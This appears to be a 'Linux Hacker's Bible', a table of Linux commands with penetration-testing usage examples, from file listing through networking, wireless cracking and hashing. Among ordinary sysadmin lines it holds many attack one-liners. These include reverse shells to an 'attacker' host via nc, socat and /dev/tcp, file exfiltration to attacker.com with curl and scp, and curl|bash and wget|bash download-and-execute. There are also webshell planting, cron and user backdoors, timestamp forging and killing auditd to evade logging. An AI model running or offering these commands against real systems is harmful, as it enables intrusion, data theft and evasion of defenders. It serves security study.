Linux Hacker's Bible — Complete Command Reference

Command	Category	Description	Real-World Usage / Examples
ls	File & Directory	List directory contents. -l long format, -a hidden files, -h human-readable sizes, -R recursive, -S sort by size, -t sort by time	`ls -la /var/www/html` — see all files incl. hidden .htaccess in web root `ls -lhS /tmp` — find largest files in /tmp post-exploitation `ls -lt /etc/` — see most recently modified config files first
ll	File & Directory	Alias for ls -la (available on many distros by default)	`ll /home` — quick long-listing of home dirs showing all users
pwd	File & Directory	Print current working directory absolute path	`pwd` — confirm exact location before destructive commands
cd	File & Directory	Change directory. ~ = home, - = previous dir, .. = parent	`cd /var/log && ls -lt \| head` — jump to logs and see newest `cd -` — toggle between two directories quickly
mkdir	File & Directory	Create directories. -p creates full nested path at once	`mkdir -p ~/ops/{recon,exploit,loot,reports}` — structured pentest workspace
rmdir	File & Directory	Remove empty directories	`rmdir /tmp/emptyfolder` — clean up empty staging dirs
rm	File & Directory	Remove files/directories. -r recursive, -f force no-prompt	`rm -rf /tmp/shell.php` — remove dropped webshell post-pentest `find /tmp -name '*.pyc' \| xargs rm -f` — batch delete compiled artifacts
cp	File & Directory	Copy files or dirs. -r recursive, -p preserve attributes, -a archive mode	`cp /etc/passwd /tmp/passwd.bak` — backup before modification `cp -a /var/www/html /home/user/site_backup` — full site backup with permissions
mv	File & Directory	Move or rename files and directories	`mv shell.php image.php` — rename malicious file to evade detection `mv /tmp/loot.tar.gz /home/user/exfil/` — stage exfil data
touch	File & Directory	Create empty file or update timestamps of existing file	`touch -t 202301010000.00 backdoor.sh` — forge timestamps to confuse forensics `touch /var/www/html/.hidden_config` — create hidden file
find	File & Directory	Search filesystem with rich filters: name, perm, size, time, type, user	`find / -perm -4000 -type f 2>/dev/null` — ALL SUID binaries (privesc enum) `find / -name '.conf' -readable 2>/dev/null` — readable config files `find /var/www -name '.php' -newer /tmp/ref 2>/dev/null` — recently modified PHP (backdoor hunt) `find / -user root -perm -o+w 2>/dev/null` — world-writable root-owned files `find /home -name '.bash_history' 2>/dev/null` — find all history files
locate	File & Directory	Fast filename search via updatedb database	`locate shadow` — instantly find shadow file paths `locate id_rsa` — find all SSH private keys on system `locate wp-config.php` — find WordPress config files with DB credentials
which	File & Directory	Show full path of command executable in PATH	`which python3 python perl ruby php` — find scripting langs for shell upgrades `which nc ncat socat` — find available reverse shell relay tools
whereis	File & Directory	Locate binary, source code, and man page for a command	`whereis nc` — find all netcat variants and their install paths
tree	File & Directory	Display directory structure as ASCII tree	`tree /var/www/html -L 3` — map web app folder structure `tree /etc -L 2 --filelimit 20` — config directory overview
file	File & Directory	Determine file type by magic bytes, not extension	`file suspicious.bin` — is it ELF, script, archive, or mislabeled? `file *` — identify every file in directory (find hidden executables)
stat	File & Directory	Show detailed inode metadata: perms, owner, all timestamps, size	`stat /etc/shadow` — see exact modification time of shadow file `stat authorized_keys` — verify permissions and last access on SSH keys
du	File & Directory	Show disk usage of files and directories	`du -sh /home/* 2>/dev/null` — find large user home dirs (exfil indicator) `du -ah /var/log \| sort -rh \| head -20` — biggest log files consuming space
df	File & Directory	Show disk space usage of mounted filesystems	`df -h` — check disk fullness (affects log writing and operations) `df -Th` — show filesystem type (spot NFS mounts for pivot)
ln	File & Directory	Create hard links or symbolic links between files	`ln -s /etc/shadow /var/www/html/s.txt` — symlink attack: expose sensitive file via web `ln -s /root /tmp/rootlink` — create symlink to root home for traversal
lsattr	File & Directory	List special extended filesystem attributes	`lsattr /etc/passwd` — check if file is immutable (i flag set by defender) `lsattr -R /var/www/` — check all web files for append-only attribute
chattr	File & Directory	Change extended file attributes (immutable, append-only, etc.)	`chattr +i /etc/passwd` — make passwd immutable (no writes, even root) `chattr +a /var/log/auth.log` — make log append-only, preventing deletion `chattr -i /etc/passwd` — remove immutable to allow editing
realpath	File & Directory	Resolve symlinks and return full absolute path	`realpath ./../../etc/passwd` — resolve path traversal sequences to absolute path
basename	File & Directory	Strip directory path from a filename	`basename /var/www/html/shell.php` — outputs: shell.php (useful in scripts)
dirname	File & Directory	Extract directory component from a path	`dirname /etc/ssh/sshd_config` — outputs: /etc/ssh
cat	Text & File Content	Print entire file to stdout. -n shows line numbers, -A shows special chars	`cat /etc/passwd` — read all user accounts `cat /etc/shadow` — read password hashes (needs root) `cat ~/.bash_history` — read command history after gaining access `cat /proc/net/tcp` — raw active connections in hex
less	Text & File Content	Interactively scroll through files. / to search, q to quit, G for end	`less /var/log/auth.log` — browse auth log for failed logins `less /proc/1/maps` — inspect memory mappings of init process
more	Text & File Content	Paginate file output (older, less featureful than less)	`more /etc/services` — page through service/port list
head	Text & File Content	Print first N lines of file. -n specifies count, -c specifies bytes	`head -n 5 /etc/passwd` — see first 5 accounts `head -c 16 /dev/urandom \| xxd` — generate 16 random bytes in hex
tail	Text & File Content	Print last N lines. -f follows file live as it grows	`tail -f /var/log/auth.log` — watch live login attempts during brute force `tail -f /var/log/apache2/access.log \| grep POST` — watch for POST requests in real-time
grep	Text & File Content	Search text with patterns. -r recursive, -i case-insensitive, -n line numbers, -l files-only, -v invert	`grep -r 'password' /var/www/html/ 2>/dev/null` — find hardcoded passwords in web app `grep -rn 'eval(base64_decode' /var/www/` — find PHP webshells `grep 'Failed password' /var/log/auth.log \| awk '{print $11}' \| sort \| uniq -c \| sort -rn` — top brute-force IPs `grep -l 'DB_PASSWORD' /var/www/*/.php 2>/dev/null` — files containing DB passwords
egrep	Text & File Content	Extended grep supporting full regex: \|, +, ?, {n,m}, ()	`egrep 'root\|admin\|sudo' /etc/passwd` — find privileged accounts `egrep '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' access.log` — extract all IPs from log
fgrep	Text & File Content	Fixed-string grep — no regex interpretation (fastest for literal searches)	`fgrep 'Connection refused' /var/log/syslog` — literal string search, no regex overhead
sed	Text & File Content	Stream editor: find-and-replace, line deletion, insertion, in-place edits	`sed 's/PermitRootLogin no/PermitRootLogin yes/g' /etc/ssh/sshd_config` — enable root SSH `sed -i '/baduser/d' /etc/passwd` — delete user line from passwd in-place `sed -n '10,20p' file.txt` — print only lines 10-20
awk	Text & File Content	Text processing language — field splitting, math, conditionals, patterns	`awk -F: '{print $1,$3}' /etc/passwd` — print username and UID `awk '$9==200 {print $7}' access.log \| sort \| uniq -c \| sort -rn` — most-hit URLs with 200 OK `awk '{print $1}' access.log \| sort \| uniq -c \| sort -rn \| head -20` — top 20 IPs in web log
cut	Text & File Content	Extract specific fields from lines using delimiter or byte position	`cut -d: -f1,3 /etc/passwd` — extract username and UID columns `cut -d' ' -f1 /var/log/nginx/access.log \| sort \| uniq -c` — count hits per IP
sort	Text & File Content	Sort lines of text. -u unique, -n numeric, -r reverse, -t field sep, -k key	`sort -u ips.txt` — deduplicate IP/target list `sort -t: -k3 -n /etc/passwd` — sort users by UID numerically `sort -rn counts.txt \| head` — show top N by count
uniq	Text & File Content	Filter or report duplicate adjacent lines. -c prefix count, -d show dupes only	`cat auth.log \| awk '{print $11}' \| sort \| uniq -c \| sort -rn \| head` — top brute-force source IPs
wc	Text & File Content	Count lines -l, words -w, characters -c, bytes -b in files	`wc -l /etc/passwd` — count total user accounts `wc -l /usr/share/wordlists/rockyou.txt` — count wordlist size
tr	Text & File Content	Translate or delete characters in streams	`echo 'hello' \| tr 'a-z' 'A-Z'` — uppercase conversion `cat file \| tr -d '\r'` — strip Windows CR characters from text `cat /dev/urandom \| tr -dc 'a-zA-Z0-9' \| head -c 20` — generate random password
diff	Text & File Content	Compare two files line-by-line and show differences	`diff /etc/passwd /etc/passwd.bak` — detect any changes to passwd after intrusion `diff -u original.conf modified.conf` — unified diff (patch format)
comm	Text & File Content	Compare two sorted files line-by-line, output unique/common lines	`comm -13 sorted_file1.txt sorted_file2.txt` — lines only in file2 (new entries)
strings	Text & File Content	Extract all printable character sequences from binary files	`strings malware.bin \| grep -iE 'http\|ftp\|pass\|key\|token\|cmd'` — extract IOCs and credentials from malware `strings /proc/PID/exe \| grep -i config` — strings from running process memory
xxd	Text & File Content	Create or reverse hex dumps of files	`xxd shell.php \| head -20` — inspect hex of suspicious PHP file `xxd -r -p shellcode.hex > shellcode.bin` — convert hex string back to binary `echo '4d5a' \| xxd -r -p \| file -` — check if hex is MZ (Windows PE)
od	Text & File Content	Dump file in octal, hex, decimal, or character formats	`od -An -tx1 -v file.bin` — hex dump without address (clean for scripting)
hexdump	Text & File Content	Display raw binary in hex + ASCII side-by-side	`hexdump -C exploit.bin \| head -40` — inspect exploit binary structure and padding
tee	Text & File Content	Read from stdin, write simultaneously to stdout AND a file	`nmap -sV -sC target \| tee nmap_full.txt` — run nmap and save output simultaneously `./linpeas.sh \| tee linpeas_$(date +%F).txt` — save privesc output with timestamp
xargs	Text & File Content	Build and execute commands from stdin, handles large lists safely	`cat targets.txt \| xargs -P4 -I{} nmap -sS {} -oN {}.txt` — parallel nmap on all targets `find / -name '*.php' 2>/dev/null \| xargs grep -l 'eval'` — find PHP eval files
column	Text & File Content	Format text into aligned columns for readability	`column -t -s: /etc/passwd` — display passwd as readable table `cat output.csv \| column -t -s,` — pretty-print CSV output
nl	Text & File Content	Number lines in a file	`nl /etc/passwd` — numbered passwd for easy reference
split	Text & File Content	Split large files into smaller pieces by size or line count	`split -b 50M bigdump.sql dump_part_` — split large SQL dump for transfer `split -l 1000 huge.txt chunk_` — split by line count
chmod	Permissions	Change file/directory permissions. Octal (755) or symbolic (u+x,o-r)	`chmod +x shell.sh` — make script executable `chmod 600 id_rsa` — fix SSH private key permissions `chmod 4755 /bin/bash` — set SUID on bash (root privesc — lab only!) `chmod o+w /etc/passwd` — make passwd world-writable (lab demo only)
chown	Permissions	Change file owner and/or group. -R for recursive	`chown www-data:www-data /var/www/html/shell.php` — make webshell owned by web user `chown root:shadow /etc/shadow && chmod 640 /etc/shadow` — restore shadow perms
chgrp	Permissions	Change group ownership of files	`chgrp shadow /etc/shadow` — assign shadow group to shadow file
umask	Permissions	Set default permission mask for new files in current session	`umask 077` — new files will be 600 (owner only) — use before creating sensitive files
getfacl	Permissions	Display Access Control List (ACL) entries for files/dirs	`getfacl /var/www/html` — reveal extended ACL rules not shown by ls -l
setfacl	Permissions	Set fine-grained ACL permissions on files and directories	`setfacl -m u:attacker:rwx /target` — grant specific user full access without changing ownership `setfacl -m u:www-data:r /etc/secret.conf` — add read-only for web user
sudo	Permissions	Execute commands as root or another user if permitted in sudoers	`sudo -l` — CRITICAL: list all allowed sudo commands for current user (key privesc step) `sudo -u postgres psql` — pivot to postgres user `sudo -u root /bin/bash` — get root shell if allowed `sudo su -` — switch to root interactively
su	Permissions	Switch user account (requires password unless root)	`su - www-data` — switch to web server user with full environment `su -c 'cat /etc/shadow' root` — run single command as root
newgrp	Permissions	Switch primary group in current session without logging out	`newgrp docker` — activate docker group membership immediately after being added
id	Permissions	Show UID, GID, and all group memberships of a user	`id` — first command after getting a shell: check if root, look for docker/lxd/sudo groups `id username` — check specific user's group memberships for lateral movement
whoami	Permissions	Print the effective username of the current process	`whoami` — verify identity after privilege escalation attempt
groups	Permissions	List all groups the current user belongs to	`groups` — look for: sudo, docker, lxd, disk, adm, shadow — all are privesc vectors
useradd	User Management	Add new user account. -m create home, -s set shell, -G add to groups	`useradd -m -s /bin/bash -G sudo backdoor` — create persistent backdoor user with sudo `useradd -u 0 -o -g 0 ghost` — create user sharing root UID (extremely suspicious)
usermod	User Management	Modify existing user account attributes	`usermod -aG sudo existinguser` — add user to sudo group (escalation) `usermod -aG docker user` — add to docker group (root via container escape) `usermod -aG lxd user` — add to lxd group (root via container)
userdel	User Management	Delete user account. -r also removes home directory and mail	`userdel -r backdoor` — clean up backdoor account during remediation
groupadd	User Management	Create a new group on the system	`groupadd pentesters` — create dedicated group for shared access control
groupmod	User Management	Modify an existing group name or GID	`groupmod -n newname oldname` — rename a group
groupdel	User Management	Delete a group from the system	`groupdel oldgroup` — remove unused group
passwd	User Management	Change password or lock/unlock accounts	`passwd -l username` — lock account (disable login) `passwd -u username` — unlock account `echo 'root:newpass' \| chpasswd` — change root password non-interactively
chpasswd	User Management	Update multiple user passwords in batch from stdin	`echo 'user1:pass123' \| chpasswd` — change password in script `cat users_passes.txt \| chpasswd` — bulk password update
who	User Management	Show who is currently logged into the system with terminal and login time	`who` — detect other logged-in users who may observe your activity
w	User Management	Show logged-in users with active processes and idle times	`w` — see what commands other users are currently running
last	User Management	Show login/logout history from /var/log/wtmp	`last -a \| head -30` — recent logins with hostnames `last -F username` — full date/time for specific user logins
lastlog	User Management	Show most recent login time for every user account	`lastlog \| grep -v 'Never'` — find actively used accounts `lastlog \| grep 'Never'` — find dormant accounts (targets for takeover)
lastb	User Management	Show failed/bad login attempts from /var/log/btmp (needs root)	`lastb \| head -30` — identify brute-force targets and attacker IPs `lastb \| awk '{print $3}' \| sort \| uniq -c \| sort -rn` — top IPs with failed logins
finger	User Management	Display detailed info about users including login, home, shell	`finger username` — show user info for social engineering context
users	User Management	Print usernames of all currently logged-in users	`users` — quick one-line list of who is on the system
logname	User Management	Print the login name of the current user	`logname` — gets original login name even when su'd to another user
ps	Process Management	Snapshot of running processes. aux shows all with user, f shows tree	`ps aux \| grep -E 'nc\|ncat\|socat\|python\|perl\|ruby'` — hunt for reverse shells `ps aux \| grep root` — find root-owned processes for escalation targets `ps auxf` — full process tree to spot suspicious parent-child chains (e.g., apache->bash)
top	Process Management	Interactive real-time process viewer with CPU and memory usage	`top -u www-data` — watch web server processes `top -p PID` — monitor specific process
htop	Process Management	Enhanced interactive process viewer with color, mouse, tree view	`htop` — visually spot anomalous processes; use F5 for tree view
kill	Process Management	Send signal to process by PID. SIGKILL(9) force-kills, SIGTERM(15) graceful	`kill -9 $(pgrep auditd)` — force-kill audit daemon to stop logging `kill -9 PID` — force terminate stuck or dangerous process
killall	Process Management	Kill all processes matching a name	`killall auditd` — stop audit daemon (needs root) `killall -u baduser bash` — kill all bash sessions of a specific user
pkill	Process Management	Kill processes by name pattern, user, terminal, or other attributes	`pkill -f 'nc -lvp'` — kill netcat listener by its full command string `pkill -u victim ssh` — kill all SSH sessions of specific user
pgrep	Process Management	Find PIDs of processes matching a name or pattern	`pgrep -a sshd` — find sshd PIDs with full command line `pgrep -u root nc` — find root-owned netcat processes (backdoors)
nice	Process Management	Start a process with specified scheduling priority (-20 highest, 19 lowest)	`nice -n 19 hashcat ...` — run cracker at lowest priority to avoid detection by high CPU
renice	Process Management	Change scheduling priority of an already-running process	`renice 19 -p PID` — lower priority of noisy process to avoid alerting on CPU usage
nohup	Process Management	Run command immune to SIGHUP so it survives terminal/SSH disconnect	`nohup ./reverse_shell.sh > /dev/null 2>&1 &` — keep reverse shell running after disconnect `nohup python3 -m http.server 8080 &` — persistent file server
bg	Process Management	Send suspended foreground job to background	`Ctrl+Z then bg` — background a running tool to free the terminal
fg	Process Management	Bring a background job back to foreground	`fg %1` — bring job 1 back to foreground
jobs	Process Management	List all active background jobs in current shell session	`jobs -l` — see all background jobs with PIDs and status
wait	Process Management	Wait for background processes to complete before continuing	`nmap host1 & nmap host2 & wait; echo done` — parallel scans then continue
sleep	Process Management	Pause execution for specified seconds, minutes, hours, or days	`sleep 300 && ./delayed_payload.sh` — wait 5 min before executing
at	Process Management	Schedule a one-time command at a specified time	`echo 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1' \| at now + 2 minutes` — delayed reverse shell
cron	Process Management	Background daemon that runs scheduled cron jobs	`service cron status` — check if cron is running `cat /var/spool/cron/crontabs/*` — read all user cron files (root needed)
crontab	Process Management	Manage user cron jobs. -l list, -e edit, -r remove, -u specify user	`crontab -l` — list current user's cron jobs (persistence audit) `echo '* * * * * /tmp/.bd.sh' \| crontab -` — install persistent cron backdoor `crontab -l -u www-data` — read another user's crontab (root needed)
watch	Process Management	Repeatedly run a command at intervals and display output	`watch -n 1 'netstat -an \| grep ESTABLISHED'` — monitor live connections `watch -n 2 'ps aux \| grep -v grep \| grep suspicious'` — watch for process spawning
timeout	Process Management	Run a command and kill it automatically after a time limit	`timeout 30s ./exploit.sh` — prevent exploit from hanging indefinitely
strace	Process Management	Trace system calls and signals of a process. -p attach to running PID	`strace -p PID -e trace=network 2>&1 \| grep connect` — watch network activity of running process `strace -e openat ls 2>&1 \| grep passwd` — see what files ls touches
ltrace	Process Management	Trace library (libc) function calls made by a process	`ltrace ./binary 2>&1 \| grep -i 'strcmp\\|strcpy\\|system'` — find password comparisons in binary
lsof	Process Management	List all open files, network sockets, pipes by process	`lsof -i :4444` — find what process is using port 4444 `lsof -p PID` — all open files/connections of specific process `lsof -i -n -P \| grep LISTEN` — all listening ports with owning process names `lsof -u username` — all files opened by a user
fuser	Process Management	Identify which processes are using a file or network port	`fuser 80/tcp` — PID using port 80 `fuser -k 4444/tcp` — kill process using port 4444
pstree	Process Management	Display running processes as an ASCII tree diagram	`pstree -p` — spot suspicious parent-child relationships (apache->bash = webshell!)
time	Process Management	Measure real, user, and system time taken by a command	`time ./exploit.sh` — benchmark exploit execution time
ip	Networking	Configure and display network interfaces, routes, neighbors, tunnels	`ip a` — all interfaces and IPs (first recon step after shell) `ip route show` — discover internal network routes for pivoting `ip neigh show` — ARP cache: discover local hosts without scanning `ip link set eth0 promisc on` — enable promiscuous mode for sniffing
ifconfig	Networking	Legacy interface configuration tool (still on many systems)	`ifconfig` — list all interfaces `ifconfig eth0 promisc` — enable promiscuous mode `ifconfig eth0 192.168.1.100 netmask 255.255.255.0` — manually set IP
iwconfig	Networking	Configure and display wireless interface settings	`iwconfig wlan0` — check current mode, ESSID, frequency `iwconfig wlan0 mode monitor` — manually set monitor mode
iwlist	Networking	Scan and list detailed wireless network information	`iwlist wlan0 scan \| grep ESSID` — list all nearby SSIDs `iwlist wlan0 scan \| grep -E 'ESSID\|Quality\|Encryption'` — full scan summary
ping	Networking	Test ICMP reachability. -c count, -i interval, -W timeout	`ping -c 1 10.10.10.1` — test if host is alive `for i in {1..254}; do ping -c1 -W1 192.168.1.$i &>/dev/null && echo alive: 192.168.1.$i; done` — bash ping sweep
ping6	Networking	Send ICMPv6 echo requests to test IPv6 connectivity	`ping6 -c 3 fe80::1%eth0` — ping IPv6 link-local address
traceroute	Networking	Trace the packet path (hops) from local to destination host	`traceroute -n target.com` — map network path, find firewalls and load balancers `traceroute -T -p 80 target.com` — TCP traceroute (bypasses ICMP blocks)
tracepath	Networking	Trace path to host without requiring root (uses UDP)	`tracepath target.com` — network path mapping as non-root user
mtr	Networking	Combines ping and traceroute in live updating display	`mtr --report -c 20 target.com` — generate network path report for analysis
netstat	Networking	Display network connections, routing table, interface stats, listening ports	`netstat -tulnp` — all listening ports with process names `netstat -an \| grep ESTABLISHED` — all active connections `netstat -rn` — routing table
ss	Networking	Modern socket statistics tool — faster replacement for netstat	`ss -tulnp` — listening ports with PIDs `ss -anp \| grep :4444` — find reverse shell connection `ss -o state established '( dport = :22 or sport = :22 )'` — established SSH connections
nmap	Networking	Network mapper and port scanner — most important recon tool	`nmap -sn 192.168.1.0/24` — ping sweep entire subnet `nmap -sV -sC -p- -T4 target.com -oA scan` — full port + version + scripts + save output `nmap --script vuln -p 80,443,8080 target` — vuln scan specific ports `nmap -sU -p 53,161,500 target` — UDP scan for DNS, SNMP, IKE `nmap -sS -Pn -n --open target` — stealth SYN scan, skip DNS, show only open
masscan	Networking	Ultra-fast port scanner — scans millions of packets per second	`masscan 10.0.0.0/8 -p80,443,22,3389 --rate=10000 -oL results.txt` — scan huge range fast `masscan 192.168.1.0/24 -p1-65535 --rate=1000` — all ports on local subnet
nc	Networking	Netcat — TCP/UDP swiss army knife for connections, listening, file transfer	`nc -lvp 4444` — open reverse shell listener `nc -e /bin/bash attacker 4444` — connect back with shell `nc -z -v target 1-1024 2>&1 \| grep succeeded` — port scan range `cat file \| nc -lvp 9999` then `nc host 9999 > file` — file transfer
ncat	Networking	Improved netcat from Nmap project with SSL, proxying, brokering	`ncat --ssl -lvp 4444 -e /bin/bash` — encrypted reverse shell listener `ncat --ssl attacker 4444 -e /bin/bash` — SSL reverse shell
socat	Networking	Multipurpose relay — bidirectional byte streams, more powerful than nc	`socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane` — full TTY shell listener `socat TCP:attacker:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane` — connect-back full TTY `socat TCP-LISTEN:8080,fork TCP:internal:80` — port forward/pivot relay
curl	Networking	Transfer data with many protocols. Supports HTTP, HTTPS, FTP, proxies, auth	`curl -I https://target.com` — grab headers to fingerprint server and WAF `curl -x socks5://127.0.0.1:9050 http://target.onion` — via Tor proxy `curl -F 'f=@/etc/passwd' https://attacker.com/upload` — exfil file via HTTP POST `curl -s https://attacker.com/linpeas.sh \| bash` — download and execute `curl -u admin:password http://target/api/users` — authenticated API request
wget	Networking	Download files from web. Supports recursive, mirror, resuming	`wget -q http://attacker.com/shell.php -O /var/www/html/sh.php` — plant webshell `wget -r -np --no-check-certificate https://target.com/` — mirror site `wget -q -O- http://10.10.10.1/linpeas.sh \| bash` — download and pipe to shell
dig	Networking	DNS lookup utility — powerful for DNS recon and enumeration	`dig ANY target.com` — query all record types `dig axfr @ns1.target.com target.com` — attempt zone transfer (massive info leak) `dig +short MX target.com` — find mail servers for phishing prep `dig -x 8.8.8.8` — reverse DNS lookup `dig +trace target.com` — trace DNS delegation chain
nslookup	Networking	Interactive DNS query tool — query specific servers	`nslookup -type=any target.com 8.8.8.8` — full query via specific DNS `nslookup -type=mx target.com` — find mail servers (phishing recon)
host	Networking	Simple DNS lookup — cleaner output than nslookup	`host -a target.com` — all records `host -l target.com ns1.target.com` — zone transfer attempt
whois	Networking	Query domain registration data and IP block ownership info	`whois target.com` — registrar, admin email, name servers, registration dates `whois 203.0.113.1` — ASN, org, IP range owner (OSINT)
arp	Networking	Display and modify ARP cache (MAC-to-IP mappings)	`arp -a` — view ARP table for local network host discovery `arp -s 192.168.1.1 aa:bb:cc:dd:ee:ff` — add static ARP (MITM setup)
arping	Networking	Send ARP requests at layer 2 to discover hosts on local segment	`arping -c 3 192.168.1.1` — verify host at layer 2 even if ICMP blocked
route	Networking	Display or modify the IP routing table (legacy, use ip route instead)	`route -n` — show routing table with numeric output `route add -net 10.0.0.0/8 gw 192.168.1.1` — add route for pivoting
iptables	Networking	Configure Linux kernel netfilter firewall rules	`iptables -L -n -v --line-numbers` — list all rules with verbose info `iptables -A INPUT -p tcp --dport 4444 -j ACCEPT` — allow reverse shell port `iptables -F` — flush/delete all rules (drop firewall — lab only) `iptables -I INPUT -s attacker_ip -j ACCEPT` — whitelist attacker IP
ip6tables	Networking	IPv6 firewall rules (same syntax as iptables)	`ip6tables -L` — check IPv6 firewall rules (often forgotten/misconfigured)
nftables	Networking	Modern framework replacing iptables — uses single tool and ruleset	`nft list ruleset` — show all nftables rules `nft flush ruleset` — clear all rules (lab only)
ufw	Networking	Uncomplicated Firewall — friendly frontend for iptables	`ufw status verbose` — see all active firewall rules `ufw allow 4444/tcp` — open port `ufw disable` — turn off firewall (needs root)
tcpdump	Networking	Capture and analyze network packets from CLI	`tcpdump -i eth0 -w capture.pcap` — capture all traffic to file for Wireshark `tcpdump -i any host 10.10.10.5 -nn` — capture traffic to/from specific host `tcpdump -i eth0 port 80 -A` — display HTTP traffic as ASCII (see credentials) `tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'` — capture only SYN packets
tshark	Networking	Wireshark CLI — analyze captures and extract fields	`tshark -r capture.pcap -Y 'http.request' -T fields -e http.request.uri -e http.host` — extract all HTTP requests `tshark -r cap.pcap -Y 'ftp' -T text` — extract FTP session
wireshark	Networking	GUI packet analyzer for deep protocol inspection	`wireshark -r capture.pcap &` — open capture file in GUI for analysis
ettercap	Networking	MITM framework with plugin support for network poisoning	`ettercap -T -q -i eth0 -M arp:remote /victim// /gateway//` — ARP MITM between victim and gateway
arpspoof	Networking	Perform ARP cache poisoning to intercept LAN traffic	`arpspoof -i eth0 -t 192.168.1.50 192.168.1.1` — poison victim ARP pointing to us `echo 1 > /proc/sys/net/ipv4/ip_forward` — enable IP forwarding to relay traffic
dnsspoof	Networking	Spoof DNS replies on a LAN to redirect traffic	`dnsspoof -i eth0 -f hosts.txt` — redirect DNS queries using custom hosts file
hping3	Networking	Craft custom TCP/UDP/ICMP packets for testing and evasion	`hping3 -S --flood -p 80 target` — SYN flood (lab DoS testing only) `hping3 -A -p 80 target -c 3` — ACK scan (bypass stateless firewalls) `hping3 --icmp --icmp-ts target` — ICMP timestamp request
ssh	Networking	Secure shell remote access with tunneling capabilities	`ssh user@target -p 2222` — connect to non-standard port `ssh -L 8080:internal:80 user@pivot` — local tunnel: localhost:8080 -> internal:80 via pivot `ssh -R 4444:localhost:4444 user@attacker` — reverse tunnel through firewall `ssh -D 1080 user@proxy` — SOCKS5 dynamic proxy through SSH `ssh -N -f -L 3306:db:3306 user@pivot` — background tunnel to database
scp	Networking	Securely copy files between hosts over SSH	`scp loot.zip user@attacker.com:/tmp/` — exfil files `scp user@target:/etc/passwd ./` — pull sensitive file from compromised host `scp -r /var/www/html user@backup:/srv/` — recursive copy
sftp	Networking	Interactive secure FTP client over SSH	`sftp user@target` — interactive file browser `sftp user@target:/etc/passwd /tmp/passwd` — download specific file
ftp	Networking	File Transfer Protocol client — often allows anonymous login	`ftp target.com` — try anonymous:anonymous login `ftp -n target <<< $'user anonymous\nget /etc/passwd\nbye'` — script FTP download
telnet	Networking	Old protocol client — useful for banner grabbing and port testing	`telnet target 25` — connect to SMTP for banner + manual interaction `telnet target 80` — raw HTTP testing `telnet target 4444` — test if a port is open
openssl	Networking	Swiss army knife for TLS inspection, encryption, and certificate handling	`openssl s_client -connect target.com:443` — inspect TLS cert, cipher, handshake `openssl s_client -connect target:443 2>/dev/null \| openssl x509 -noout -text` — full cert details `openssl x509 -in cert.pem -noout -subject -issuer -dates` — cert validity and issuer `openssl speed` — benchmark crypto performance
stunnel	Networking	Create SSL tunnels for non-SSL services	`stunnel3 -d 443 -r 80` — wrap HTTP in SSL (simple HTTPS proxy)
proxychains	Networking	Route TCP connections through a chain of SOCKS4/5 or HTTP proxies	`proxychains nmap -sT -Pn -n target` — nmap through Tor/proxy chain `proxychains4 -q ssh user@internal` — SSH through proxy for lateral movement
tor	Networking	Tor anonymization network daemon	`service tor start` — start Tor daemon (listens on SOCKS 127.0.0.1:9050) `curl --socks5 127.0.0.1:9050 https://check.torproject.org/` — verify Tor is working
openvpn	Networking	Connect to or run OpenVPN tunnels	`openvpn --config lab.ovpn` — connect to VPN (e.g., HackTheBox/TryHackMe labs) `openvpn --config client.ovpn --daemon` — background VPN connection
wg	Networking	WireGuard VPN CLI for modern fast encrypted tunnels	`wg show` — show active WireGuard interfaces, peers, transfer stats `wg-quick up wg0` — bring up WireGuard interface
airmon-ng	Networking	Enable or disable monitor mode on wireless interfaces	`airmon-ng check kill` — kill processes interfering with monitor mode `airmon-ng start wlan0` — enable monitor mode → wlan0mon
airodump-ng	Networking	Capture 802.11 frames and enumerate nearby wireless networks	`airodump-ng wlan0mon` — scan all channels for APs and clients `airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon` — target specific AP and capture handshake
aireplay-ng	Networking	Inject packets — deauth attacks, fake auth, replay for cracking	`aireplay-ng -0 10 -a BSSID -c CLIENT wlan0mon` — send 10 deauth frames to client (forces WPA handshake on reconnect)
aircrack-ng	Networking	Crack WEP and WPA-PSK keys from captured packet files	`aircrack-ng -w /usr/share/wordlists/rockyou.txt -b BSSID cap*.cap` — dictionary attack on WPA handshake
iwspy	Networking	Get wireless statistics from specific nodes in range	`iwspy wlan0 192.168.1.1` — monitor signal quality to specific AP
md5sum	Crypto & Hashing	Compute or verify MD5 checksum of files	`md5sum malware.exe` — get hash for VirusTotal / threat intel lookup `md5sum /bin/ls /bin/ps /usr/bin/sudo > baseline.md5` — integrity baseline
sha1sum	Crypto & Hashing	Compute or verify SHA-1 checksum	`sha1sum file.bin` — SHA-1 hash for legacy compatibility checks
sha256sum	Crypto & Hashing	Compute or verify SHA-256 checksum	`sha256sum kali-linux.iso` — verify ISO integrity after download `sha256sum /etc/passwd > hashes/passwd.sha256` — store for change detection
sha512sum	Crypto & Hashing	Compute or verify SHA-512 checksum	`sha512sum disk_image.img` — strong forensic hash of evidence image
b2sum	Crypto & Hashing	Compute BLAKE2 hash — fast and cryptographically strong	`b2sum file.iso` — modern high-speed hash for large file integrity
base64	Crypto & Hashing	Encode or decode base64 data	`cat shell.py \| base64 -w 0` — encode payload for transfer and obfuscation `echo 'aGVsbG8=' \| base64 -d` — decode suspicious base64 string `echo '/bin/bash -i >& /dev/tcp/10.10.10.1/4444 0>&1' \| base64` — encode reverse shell for evasion `base64 -d <<< 'cGF5bG9hZA==' \| bash` — decode and execute in one line
gpg	Crypto & Hashing	GNU Privacy Guard — asymmetric and symmetric encryption, signing	`gpg -c sensitive_data.txt` — symmetrically encrypt with passphrase `gpg --gen-key` — generate GPG keypair for C2 comms `gpg -d file.gpg` — decrypt file `gpg --import pubkey.asc && gpg -e -r target@email.com file` — encrypt for recipient
openssl enc	Crypto & Hashing	Symmetric file encryption using OpenSSL ciphers	`openssl enc -aes-256-cbc -pbkdf2 -in loot.txt -out loot.enc` — encrypt loot for safe exfil `openssl enc -d -aes-256-cbc -pbkdf2 -in loot.enc -out loot.txt` — decrypt
openssl genrsa	Crypto & Hashing	Generate RSA private key of specified bit size	`openssl genrsa -out private.key 4096` — generate strong RSA private key `openssl rsa -in private.key -pubout -out public.key` — extract public key
